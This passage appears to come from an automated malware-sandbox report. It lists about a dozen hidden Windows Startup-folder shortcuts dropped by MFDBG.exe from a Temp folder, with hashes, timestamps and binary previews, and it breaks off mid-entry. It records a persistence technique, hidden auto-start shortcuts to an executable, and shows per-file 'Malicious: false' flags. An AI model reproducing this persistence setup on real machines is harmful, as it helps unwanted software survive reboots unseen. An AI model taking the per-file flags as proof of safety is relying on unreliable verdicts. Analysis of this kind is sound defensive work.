Preview:	L..................F...."...]W%.{.....N.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....(.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bcbbd113b8444f75a54cd0eecf67a2b0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:28 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940358179750101
Encrypted:	false
SSDEEP:	24:8dPhBfGY8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8dTud0R6rMhpBoUBxdRd1nYyg
MD5:	F0A45B1218860168225014F5F9177442
SHA1:	FFFAC79F3A6EFE1DF2772E2F108BF35F7B4EFF16
SHA-256:	CC5FD84ADC5F5812047EF33623EDDAC74610AA61E4BB231DDFB890C582F7FF76
SHA-512:	C1E89290B261B53BFC5DDB8418A7DED395F69D146C8D21DFE63A26BF293CFBE927CB4EEC9ADF3CCAED4A4D9E7A568F858B37BDDCD237D7CBC7D24ABDF4D26804
Malicious:	false
Preview:	L..................F...."...]W%.{....*..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bcbe86e7e21c47aba1370d72bcab92b7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934222256859204
Encrypted:	false
SSDEEP:	24:8YhBfQl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8630R6rMhpBoUBxdRd1nYyg
MD5:	D5A95D46BBB5B7709561722F1B06AA46
SHA1:	81611306D356408D71032ED50E54BD7F9F59960A
SHA-256:	146A1F83B72A828FA5A35CE9F5514D425DA7DB4CE5840374FDDA951762C5DACF
SHA-512:	736E3CC981C34A07860225DA78404198187EBC8486EEFEB236959EAE9A066BE810C36E763730B7EBE281649371EE6963E3C0A14B9DF93F434B21FEF1C5FC1D4B
Malicious:	false
Preview:	L..................F...."...]W%.{...oO=.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....3.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bcc8b82efc7843dfba7345b4386399d1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:17 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938235610658272
Encrypted:	false
SSDEEP:	24:8bmhBfI+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8bsgT0R6rMhpBoUBxdRd1nYyg
MD5:	3727CFBC27AABD358553A51B978D1050
SHA1:	A4F340A75C6AF1D0C97DFED7002E3BBDA6E75E3F
SHA-256:	981DCAA3F8FC6080305FF0284F3358FF1106734867C6425AB0651F2BE4ED144F
SHA-512:	EEFC22B5DC816DABC7F5E4F8DE961A2225FD228207ABDF4C83C3CE3C30D88F8AE0FA7ACE977892E7C45C5564784230763C012B483695C79865EE1C2CBB9E67B0
Malicious:	false
Preview:	L..................F...."...]W%.{... ...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...h...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bce814e4d34b4f13ad46659db63c6755.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:01 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9337534736207544
Encrypted:	false
SSDEEP:	24:8WhBfeIl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:88nC0R6rMhpBoUBxdRd1nYyg
MD5:	D3C90CA6AD35D43DCDFCBD34921637AC
SHA1:	FE7C0DDF49C041CEAE73AC747EEB2D3C6F74DA9A
SHA-256:	BD847E3CEE56589C1DE912CB6DC79D74A4E6D45C7939B3DBFA798042CEB95479
SHA-512:	3B33209BC260AE2F94EFF8C622060A4E10D8BFC2B0D6450281C529746FD4A536650DA558E3ACA3FDB87FD3C6A460FD437D4921E90099719741FB47618D78DC8A
Malicious:	false
Preview:	L..................F...."...]W%.{....{..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...o...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bd31f310ca414cbb98878df64b025c54.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:51 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933716461233845
Encrypted:	false
SSDEEP:	24:8QhBfw8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8C90R6rMhpBoUBxdRd1nYyg
MD5:	2F9B04386A27A89C53FB446F9DE7826E
SHA1:	416C176B5678098776A391D5EB164F668EA5E886
SHA-256:	39763BFFEB7DB72830CA6E4450E15C468DB04280C98B1E70CF6B35CAEB323FDB
SHA-512:	322A52E44D1B5AA0F0BF07213B668F1D98175F8C85924D615F86EE9DE586D1E8A77320C065D1BE9C42F89E509C732AF6963445682B4458859163ED1FAFB534C2
Malicious:	false
Preview:	L..................F...."...]W%.{.....`.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....Vc.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bd71295ddb7f4db984192b958404a49a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:56 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932898620786461
Encrypted:	false
SSDEEP:	24:8uhBf08iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8kZ0R6rMhpBoUBxdRd1nYyg
MD5:	8D82E347889B40D8D878D9F8A298D7EF
SHA1:	5B423030CF54FBA4FACE9F7E7D68098E5ADFC05D
SHA-256:	3B17351E0E468AC746247D3C081306BB691A9FF45D82A9BD421C921DBDBFC4D6
SHA-512:	609E09B325D1535E5AD9C6D8661444975ACA57B87162EB11F1936DFF3623800BFF78ECAB9654C01834A1FB8D0EBF0CEF2580CB1EA0725361631DD74A9FC5EC79
Malicious:	false
Preview:	L..................F...."...]W%.{....5..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....#..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bdefcc6f3d394b7daf45ac4210f5bc78.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:49:59 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936273669022361
Encrypted:	false
SSDEEP:	24:8dhBfv8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ds0R6rMhpBoUBxdRd1nYyg
MD5:	ACE0B81B6A9FBB9EE6F9C404C297F8BE
SHA1:	B7229CEA82C5FB4BE50519773225F4CC7C7A1206
SHA-256:	81A5F8430723BBE557CF1D066452E0EBF66A277C6404185B68E610412EF44E0D
SHA-512:	297986D07567511DFFFE0D618EB41EAC6864B6A7CC09D63C5CFC57F3129BA6FD8D0C713E23F249FDEF84B62A5D5C73FA08EC78F018C2183518410B9FB99EC58F
Malicious:	false
Preview:	L..................F...."...]W%.{...J...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...N.e.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bdf629e416c34531ad018c25bd923da4.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:17 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.94141591063575
Encrypted:	false
SSDEEP:	24:8AmhBfX8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8AsU0R6rMhpBoUBxdRd1nYyg
MD5:	2E30BCAADF15E06AD39AC15A4CF32ACD
SHA1:	7958F6753F38B5EBAAE2D8B5935022B856F2BEF0
SHA-256:	63743DD255E900BC58C3C6CC42365F915D5917ECA026E853572574B160F91240
SHA-512:	5C005F7E89CF2AF22EA3F7A390D08485CFDB56CB8B9FD5E39B0BA4FE87468FBAFC5609AC03FFBBF3D2323307B913F06FC1D032CE922A24BCFAB8354CB8BEDA41
Malicious:	false
Preview:	L..................F...."...]W%.{.... v.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....n.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_be31a607f0544ed187a67a415ecce1e5.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:44 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933695818032414
Encrypted:	false
SSDEEP:	24:8CbhBf8p8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Cfh0R6rMhpBoUBxdRd1nYyg
MD5:	4D80DE8AF7E404091B8462ADBD8A5A37
SHA1:	D18262E8C8DEDAF29E9BC815E9C3511551AEB303
SHA-256:	DF3965869B1EFEFCFD3E27F1D174BD2542CF4CA613C67D5279F3D70396B83D79
SHA-512:	F7168ACB35FA87C623A65C00D5E0DE9E1B130E6B75FE34DA410652B76ADC959523755977FB74E381AF1E8481D54A1CA1FB94A696D740A44E1C9143B132E866FD
Malicious:	false
Preview:	L..................F...."...]W%.{....lw.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....lw.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_be5003a434484a24a6b277ffdfd4200e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939128737656448
Encrypted:	false
SSDEEP:	24:8KhBfDD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8grQ0R6rMhpBoUBxdRd1nYyg
MD5:	5F4625F919DD6EE0FB2C37D1371900CD
SHA1:	75999324B2CBD490D8983371DCC137B03893A708
SHA-256:	55B8761D17A26FD130A2A6093B1CDD3618EA3B0C775134F73E72EB1D32F4E054
SHA-512:	63475476099A2B68EB7B460338DC059B0ED212C67F0C99EE6AF154CC5E26A60B26BB23FB370FD94F65CA43C9F6E5672891A25D53A13AC8B1E6B8776CAE18B67D
Malicious:	false
Preview:	L..................F...."...]W%.{...'..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_be680303084c4489ba5abc953d023483.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:08 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93632830049406
Encrypted:	false
SSDEEP:	24:88hBfB8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Oe0R6rMhpBoUBxdRd1nYyg
MD5:	CB80D1ED3F7B5D6766AE53FE03AA4277
SHA1:	AD3643B6B93699C2CBEB4E61F57AC3EFC96C468D
SHA-256:	B8C68579D763CF82A4680076BDD737CE4CB1800A0D3A872467ACC3EF2ACD2861
SHA-512:	BBEA2A730A64F0D3E5D4664408C49BDF64A7D2050A0296CD6C27FC322267D6E1A14F8A46BCCCB377602D0BD5A08178759225D362CA2A14D701AF452377FAE10F
Malicious:	false
Preview:	L..................F...."...]W%.{.....J.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...q.<.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_be8484b63e634cdcb2ce08c651739d26.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:49:59 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9296712350370555
Encrypted:	false
SSDEEP:	24:8QahBfv8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8QQs0R6rMhpBoUBxdRd1nYyg
MD5:	579D3B2CF213F6DB0E70A3043C91A8EA
SHA1:	73EBAB0EB3FB0A2531E9AFD00F1637AAE04FF44A
SHA-256:	790F7BB2EC5FA4DD729D0093E139D65902DBB0FC6A59EDC1E09D5B0EF0AB3B15
SHA-512:	6CB47E9443AF4A85DD0810C182F12C1F2593C6CABB49F324C2EE69E2573FB9142C9EE2135C8FDAA8EBC65ED7219901F9DC8DB60BD6598344A007E9E87A5DF0EB
Malicious:	false
Preview:	L..................F...."...]W%.{...6c.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...N.e.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bf0738652fd14533a84754e2181230ef.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:10 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.943609941468943
Encrypted:	false
SSDEEP:	24:8iqphBfR8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8iqpe0R6rMhpBoUBxdRd1nYyg
MD5:	E0E494B295DC5F571872B0D385D03ED2
SHA1:	6DC0444F3973DF549C439E57E5D50F10D312213A
SHA-256:	461B28139182D90B79645466D411CC06143E38E0CAB6C1D88BDBDC1D9499D0C4
SHA-512:	31A1DF28BF67099DEF74105666F92E6D695533CDFE65324C9D7198F5ABB1FC32DF6E507ACCAD1C6D032229FF872D68041D9A75DF088F36696E54CE906BE2C996
Malicious:	false
